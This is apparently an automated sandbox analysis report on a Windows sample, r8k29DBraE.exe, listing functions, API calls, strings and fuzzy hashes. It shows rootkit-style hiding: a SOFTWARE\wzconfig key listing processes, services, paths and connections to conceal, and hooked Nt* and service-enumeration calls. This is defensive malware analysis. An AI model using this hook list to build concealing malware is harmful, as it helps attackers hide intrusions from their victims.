Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002616F5932C2
PathFindFileNameW.SHLWAPI ref: 000002616F5932D1

Part of subcall function 000002616F593858: StrCmpNIW.SHLWAPI ref: 000002616F593870

Part of subcall function 000002616F5937A4: GetModuleHandleW.KERNEL32 ref: 000002616F5937B2
Part of subcall function 000002616F5937A4: GetCurrentProcess.KERNEL32 ref: 000002616F5937E0
Part of subcall function 000002616F5937A4: VirtualProtectEx.KERNEL32 ref: 000002616F593802
Part of subcall function 000002616F5937A4: GetCurrentProcess.KERNEL32 ref: 000002616F59381D
Part of subcall function 000002616F5937A4: VirtualProtectEx.KERNEL32 ref: 000002616F59383E

CreateThread.KERNEL32 ref: 000002616F59331F

Part of subcall function 000002616F591D1C: GetCurrentThread.KERNEL32 ref: 000002616F591D27

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction ID: 178e3c97e0c88a599720124179461fd81e95e4744776017db6c7a881b310848a
Opcode Fuzzy Hash: fd13d599d4a1a9a129cf8228822ebf0962c6205abdf5c3edc3572841aa0737cc
Instruction Fuzzy Hash: 2111A138710785CEF7689724E81E369229FA756705F4CC029984E85591EF3BEC79C610

Function 000002616F594E00 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002616F594E04
VirtualProtect.KERNEL32 ref: 000002616F594E47
FlushInstructionCache.KERNEL32 ref: 000002616F594E5C

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: 8c4f484bea12a3d66523bbd423a72893e5e07743302c2e8b21c11c7b51894e53
Instruction ID: 80a70d6d200a08a4e5f21bd9c99249f1bed1d0e22f7278694591139f554766e3
Opcode Fuzzy Hash: 8c4f484bea12a3d66523bbd423a72893e5e07743302c2e8b21c11c7b51894e53
Instruction Fuzzy Hash: E7F03A3A218B8485D674DB01F49874A6BA5F3C97D4F189112FA8D07B69CF3ADAA08B00

Function 000002616F591AC4 Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002616F591630: GetProcessHeap.KERNEL32 ref: 000002616F59163B
Part of subcall function 000002616F591630: HeapAlloc.KERNEL32 ref: 000002616F59164A
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F5916BA
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F5916E7
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F591701
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F591721
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F59173C
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F59175C
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F591777
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F591797
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F5917B2
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F5917D2

Sleep.KERNEL32 ref: 000002616F591ADF
SleepEx.KERNELBASE ref: 000002616F591AE5

Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F5917ED
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F59180D
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F591828
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F591848
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F591863
Part of subcall function 000002616F591630: RegOpenKeyExW.ADVAPI32 ref: 000002616F591883
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F59189E
Part of subcall function 000002616F591630: RegCloseKey.ADVAPI32 ref: 000002616F5918A8

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: aaf17f2f4e785b11d8e5fdf7bd1c16a192e499f62de4bcd1b2a4e382aa0c64b0
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: D631217D3106A149FA589B23D55836923AFAB45BC4F1CD4218E0E876D6EF22EC718250

Function 000002616F302750 Relevance: 1.4, APIs: 1, Instructions: 187
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002616F3027EF

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 8dcda32693cec44d10b93e7bc14cdb444b14c52ce78ee02f9e407406ad529b9f
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 4E61027AB01690CBDB54CF15D608B2DB39BFB44BA4F5C8126DE1907788DA39E872C701

Function 00007FFAAC564B1C Relevance: 1.4, APIs: 1, Instructions: 102COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FFAAC564BB5

Memory Dump Source

Source File: 00000001.00000002.1600102747.00007FFAAC560000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffaac560000_r8k29DBraE.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ef78d05a1a386d499d6f0973f6eba25c3a10a4b4253765f99a22ecc7c6da5521
Instruction ID: ad26b0a7ef5ebc9a1a69fac44cbdea544a77c841b11f1489e845f52b9da6d8a2
Opcode Fuzzy Hash: ef78d05a1a386d499d6f0973f6eba25c3a10a4b4253765f99a22ecc7c6da5521
Instruction Fuzzy Hash: 2531F63090CA4D8FDB59DB68C845BE9BBF0EB56321F04426FD04DC35A2DB646416CB91

Non-executed Functions

Function 000002616F592B40 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264stringlibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 000002616F592BE4
lstrlenW.KERNEL32 ref: 000002616F592E1E

Part of subcall function 000002616F5919A4: OpenProcess.KERNEL32 ref: 000002616F5919CA
Part of subcall function 000002616F5919A4: K32GetModuleFileNameExW.KERNEL32 ref: 000002616F5919E8
Part of subcall function 000002616F5919A4: PathFindFileNameW.SHLWAPI ref: 000002616F5919F7
Part of subcall function 000002616F5919A4: lstrlenW.KERNEL32 ref: 000002616F591A03
Part of subcall function 000002616F5919A4: StrCpyW.SHLWAPI ref: 000002616F591A16
Part of subcall function 000002616F5919A4: CloseHandle.KERNEL32 ref: 000002616F591A24

GetProcAddress.KERNEL32 ref: 000002616F592BF9

Part of subcall function 000002616F591534: StrCmpIW.SHLWAPI ref: 000002616F591565

Part of subcall function 000002616F593858: StrCmpNIW.SHLWAPI ref: 000002616F593870

StrCmpNIW.SHLWAPI ref: 000002616F592C3C
lstrlenW.KERNEL32 ref: 000002616F592D64

Strings

NtQueryObject, xrefs: 000002616F592BEF
\Device\Nsi, xrefs: 000002616F592C2F
ntdll.dll, xrefs: 000002616F592BDD

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: 056892e84e4a12242d0f5ab80578cd90d79c088ab9e88410561f2c66772193c9
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: F8B1D23A2107D08AEB5DCF26D4487A963AEFB46B84F1C901ADE0953B94DF36EC65C740

Function 000002616F597D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002616F597DAC
RtlCaptureContext.NTDLL ref: 000002616F597DD9
RtlLookupFunctionEntry.NTDLL ref: 000002616F597DF3
RtlVirtualUnwind.NTDLL ref: 000002616F597E34
IsDebuggerPresent.KERNEL32 ref: 000002616F597E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002616F597EA5
UnhandledExceptionFilter.KERNEL32 ref: 000002616F597EB0

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: 15d017ccf61f7e346f9080347f19ca6b8822780c519427b1c971fa1776b54a9d
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: 5831657A304B808AEB64DF64E8447ED7369F785744F48802ADB4E47B98DF39DA68C710

Function 000002616F59D814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002616F59D88D
RtlLookupFunctionEntry.NTDLL ref: 000002616F59D8A5
RtlVirtualUnwind.NTDLL ref: 000002616F59D8E0
IsDebuggerPresent.KERNEL32 ref: 000002616F59D919
SetUnhandledExceptionFilter.KERNEL32 ref: 000002616F59D923
UnhandledExceptionFilter.KERNEL32 ref: 000002616F59D92E

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: 670c1ce31eea1e87310ed20d3bd7bcaf6a87406a30462cbd5bd646537ef9097d
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: 0C31B43A214F808ADB24CF24E8443EE73A9F78A794F544116EE9D43B59DF39C965CB00

Function 000002616F597970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002616F59799C
GetCurrentThreadId.KERNEL32 ref: 000002616F5979AA
GetCurrentProcessId.KERNEL32 ref: 000002616F5979B6
QueryPerformanceCounter.KERNEL32 ref: 000002616F5979C6

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: 310d726cad5d3585bf1d3cf655f94a01babb62eaa47949ee68aac46df03e5dd7
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: C7115E36710F058AEB40CF64E8583A837A8F319758F080E21DE6D427A4DF38D5B88340

Function 000002616F301F40 Relevance: 4.0, Strings: 3, Instructions: 264COMMON

Download Yara Rule

Strings

\Device\Nsi, xrefs: 000002616F30202F
NtQueryObject, xrefs: 000002616F301FEF
ntdll.dll, xrefs: 000002616F301FDD

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID:
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 0-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: 44cbf86cdc0ddbb44743e8f5efb7c152779ff0e7835dd09ecf58b37d28ca2a1f
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: 60B1047A2106918AFB98CF65D6487A973AEFB44B84F4C5017EE0993794DF36ECA0C341

Function 000002616F5A4A18 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000002616F5A4C67
RaiseException.KERNEL32 ref: 000002616F5A4C78

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: a5f266c12a220961406dde8eee325c1bf83c1065a404d0d9410b684e73e4a061
Instruction ID: 0c643126ef90a50c0fbea1f888c1e9cfba54b1da6a39323953eed5580286a35d
Opcode Fuzzy Hash: a5f266c12a220961406dde8eee325c1bf83c1065a404d0d9410b684e73e4a061
Instruction Fuzzy Hash: 82B11977200B888EEB15CF69C88A3587BA5F384B48F19C916DE5D877B5CB3AD865C700

Function 000002616F313E18 Relevance: 1.7, APIs: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 000002616F314067

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID: _clrfp
String ID:
API String ID: 3618594692-0
Opcode ID: a5f266c12a220961406dde8eee325c1bf83c1065a404d0d9410b684e73e4a061
Instruction ID: 343dd5d2dd543ea25d4432f443ed1ef84fb97e5bf9ac6dd0a3141e126250b7c2
Opcode Fuzzy Hash: a5f266c12a220961406dde8eee325c1bf83c1065a404d0d9410b684e73e4a061
Instruction Fuzzy Hash: 22B13B77200B888FEB15CF2AC88A3587BB5F384B49F198915DB5D877A4CB3AD461C701

Function 000002616F59E250 Relevance: 1.6, APIs: 1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e270e8593a71ad66ef089fadfa74d4cb038ffb7aa402265e75b4220792d44019
Instruction ID: f45e88764e900034d2a2ee5898fa90e80993220f958839af29c79cd3f696bff8
Opcode Fuzzy Hash: e270e8593a71ad66ef089fadfa74d4cb038ffb7aa402265e75b4220792d44019
Instruction Fuzzy Hash: 8651D5367007D08AFB249B72E94879E7BAAF7457D4F188114EE5827B99DB39D821C700

Function 000002616F5A6100 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\r8k29DBraE.exe, xrefs: 000002616F5A61A9, 000002616F5A61B1

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\r8k29DBraE.exe
API String ID: 0-2002025803
Opcode ID: f6aacf51cb33b707cb24cd9af6edfcd30ca69ce813e0594cda8c625fc8c82466
Instruction ID: ceaf2ceaa79762217117b7e58b6695b83b800717c22ee00206f55368735bae83
Opcode Fuzzy Hash: f6aacf51cb33b707cb24cd9af6edfcd30ca69ce813e0594cda8c625fc8c82466
Instruction Fuzzy Hash: EA31DEFF54DBC40EF3938A7CC87A25A2FDAA793E00F4ED056DA8006187E5572C3A8641

Function 000002616F59FDA0 Relevance: 1.3, APIs: 1, Instructions: 7memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002616F59FDA4

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 24f512c07acdf0e634261ab2d45bfa525d446d731f5c54d71af1c68651d24f8d
Instruction ID: abdb34cb354ff96d8d4250f7692f5dc49dffca064a0cdb60cfe1eaff2b17b0cf
Opcode Fuzzy Hash: 24f512c07acdf0e634261ab2d45bfa525d446d731f5c54d71af1c68651d24f8d
Instruction Fuzzy Hash: 2DB0923CA13B09CAEA0A2B15EC8A30422AABB48701F998018840C41320DA2D28BA5B10

Function 000002616F30D650 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e270e8593a71ad66ef089fadfa74d4cb038ffb7aa402265e75b4220792d44019
Instruction ID: a9fb9487e9124b5339b4971993124eccb23c8df1cffe08adb9e71cb46f02edba
Opcode Fuzzy Hash: e270e8593a71ad66ef089fadfa74d4cb038ffb7aa402265e75b4220792d44019
Instruction Fuzzy Hash: 3B51C23670079089FB20DB76E84879E7BEBB744BD4F184116EE5827B99DE39D421C701

Function 000002616F5A6218 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 307302fee793cb47842d0b36a6f453d22f5a353d42adcd47c207e399357ec3df
Instruction ID: a5f12a0cbf99ecdc342060e23aae48439670c0b88216c137c755b42e3e386f85
Opcode Fuzzy Hash: 307302fee793cb47842d0b36a6f453d22f5a353d42adcd47c207e399357ec3df
Instruction Fuzzy Hash: 8331B3FF54DBC54EF3934A7C896E6493F96ABA3E04B0EC056CB80421CBE6572C398651

Function 000002616F313C60 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1599175099.000002616F300000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002616F300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f300000_r8k29DBraE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d120009e22b2c10b69ee1c7cf997a6593d570e53da93b21d446b083ea9a632e3
Instruction ID: 3f7575a97a60d055d46930a303f8ea74947eb859395f3bc81c78d6db3ca14e97
Opcode Fuzzy Hash: d120009e22b2c10b69ee1c7cf997a6593d570e53da93b21d446b083ea9a632e3
Instruction Fuzzy Hash: 31F062757242948EEBA8CF28E943B1977E5F348780F848419DA89C3B04D23DD070CF05

Function 000002616F591630 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002616F59163B
HeapAlloc.KERNEL32 ref: 000002616F59164A

Part of subcall function 000002616F591268: GetProcessHeap.KERNEL32 ref: 000002616F59126E
Part of subcall function 000002616F591268: HeapAlloc.KERNEL32 ref: 000002616F59127D
Part of subcall function 000002616F591268: GetProcessHeap.KERNEL32 ref: 000002616F591297
Part of subcall function 000002616F591268: HeapAlloc.KERNEL32 ref: 000002616F5912A8

RegOpenKeyExW.ADVAPI32 ref: 000002616F5916BA
RegOpenKeyExW.ADVAPI32 ref: 000002616F5916E7
RegCloseKey.ADVAPI32 ref: 000002616F591701
RegOpenKeyExW.ADVAPI32 ref: 000002616F591721
RegCloseKey.ADVAPI32 ref: 000002616F59173C
RegOpenKeyExW.ADVAPI32 ref: 000002616F59175C
RegCloseKey.ADVAPI32 ref: 000002616F591777
RegOpenKeyExW.ADVAPI32 ref: 000002616F591797
RegCloseKey.ADVAPI32 ref: 000002616F5917B2
RegOpenKeyExW.ADVAPI32 ref: 000002616F5917D2
RegCloseKey.ADVAPI32 ref: 000002616F5917ED
RegOpenKeyExW.ADVAPI32 ref: 000002616F59180D
RegCloseKey.ADVAPI32 ref: 000002616F591828
RegOpenKeyExW.ADVAPI32 ref: 000002616F591848
RegCloseKey.ADVAPI32 ref: 000002616F591863
RegOpenKeyExW.ADVAPI32 ref: 000002616F591883
RegCloseKey.ADVAPI32 ref: 000002616F59189E
RegCloseKey.ADVAPI32 ref: 000002616F5918A8

Part of subcall function 000002616F5912BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002616F591319
Part of subcall function 000002616F5912BC: GetProcessHeap.KERNEL32 ref: 000002616F591327
Part of subcall function 000002616F5912BC: HeapAlloc.KERNEL32 ref: 000002616F591338
Part of subcall function 000002616F5912BC: RegEnumValueW.ADVAPI32 ref: 000002616F591397
Part of subcall function 000002616F5912BC: GetProcessHeap.KERNEL32 ref: 000002616F5913DF
Part of subcall function 000002616F5912BC: HeapAlloc.KERNEL32 ref: 000002616F5913ED
Part of subcall function 000002616F5912BC: GetProcessHeap.KERNEL32 ref: 000002616F59140A
Part of subcall function 000002616F5912BC: HeapFree.KERNEL32 ref: 000002616F591418
Part of subcall function 000002616F5912BC: lstrlenW.KERNEL32 ref: 000002616F591421
Part of subcall function 000002616F5912BC: GetProcessHeap.KERNEL32 ref: 000002616F59142F
Part of subcall function 000002616F5912BC: HeapAlloc.KERNEL32 ref: 000002616F59143D

Strings

SOFTWARE\wzconfig, xrefs: 000002616F59169A
process_names, xrefs: 000002616F591755
service_names, xrefs: 000002616F5917CB
startup, xrefs: 000002616F5916DD
tcp_local, xrefs: 000002616F591806
tcp_remote, xrefs: 000002616F591841
paths, xrefs: 000002616F591790
pid, xrefs: 000002616F59171A
udp, xrefs: 000002616F59187C

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\wzconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-440640706
Opcode ID: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction ID: 7995adddaed06be458973292db16e5af529c7160ceea08ac4839d996df2b57d6
Opcode Fuzzy Hash: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction Fuzzy Hash: 4B71423A310B508AEB10AF76E84869D376EF746B88F099111DD4E47B59EF36D878C340

Function 000002616F5912BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120memoryregistrystringCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002616F591319
GetProcessHeap.KERNEL32 ref: 000002616F591327
HeapAlloc.KERNEL32 ref: 000002616F591338
RegEnumValueW.ADVAPI32 ref: 000002616F591397

Part of subcall function 000002616F591534: StrCmpIW.SHLWAPI ref: 000002616F591565

GetProcessHeap.KERNEL32 ref: 000002616F5913DF
HeapAlloc.KERNEL32 ref: 000002616F5913ED
GetProcessHeap.KERNEL32 ref: 000002616F59140A
HeapFree.KERNEL32 ref: 000002616F591418
lstrlenW.KERNEL32 ref: 000002616F591421
GetProcessHeap.KERNEL32 ref: 000002616F59142F
HeapAlloc.KERNEL32 ref: 000002616F59143D
StrCpyW.SHLWAPI ref: 000002616F59145F
GetProcessHeap.KERNEL32 ref: 000002616F591476
HeapFree.KERNEL32 ref: 000002616F591484

Strings

d, xrefs: 000002616F59135A

Memory Dump Source

Source File: 00000001.00000002.1599275104.000002616F590000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002616F590000, based on PE: true

Associated: 00000001.00000002.1599275104.000002616F5B9000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2616f590000_r8k29DBraE.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction ID: 2dacda006e7eab409b77a1f78b26c79b6361b35e4d923956b73df3c972c0162a
Opcode Fuzzy Hash: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction Fuzzy Hash: BA51943A200B848AEB55CF66E54C35A77AAF78AFC5F088124DE4907718DF3DD469C700

Function 000002616F591D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 000002616F591D27

Part of subcall function 000002616F591FDC: GetModuleHandleA.KERNEL32 ref: 000002616F591FF4
Part of subcall function 000002616F591FDC: GetProcAddress.KERNEL32 ref: 000002616F592005

Part of subcall function 000002616F595B40: GetCurrentThreadId.KERNEL32 ref: 000002616F595B7B

Strings

NtQueryDirectoryFileEx, xrefs: 000002616F591DA4
NtEnumerateValueKey, xrefs: 000002616F591DDE
EnumServiceGroupW, xrefs: 000002616F591DF8
NtDeviceIoControlFile, xrefs: 000002616F591E5E
NtEnumerateKey, xrefs: 000002616F591DC1
NtQueryDirectoryFile, xrefs: 000002616F591D87
NtResumeThread, xrefs: 000002616F591D6A
NtQuerySystemInformation, xrefs: 000002616F591D4D
sechost.dll, xrefs: 000002616F591E41
EnumServicesStatusExW, xrefs: 000002616F591E19, 000002616F591E3A
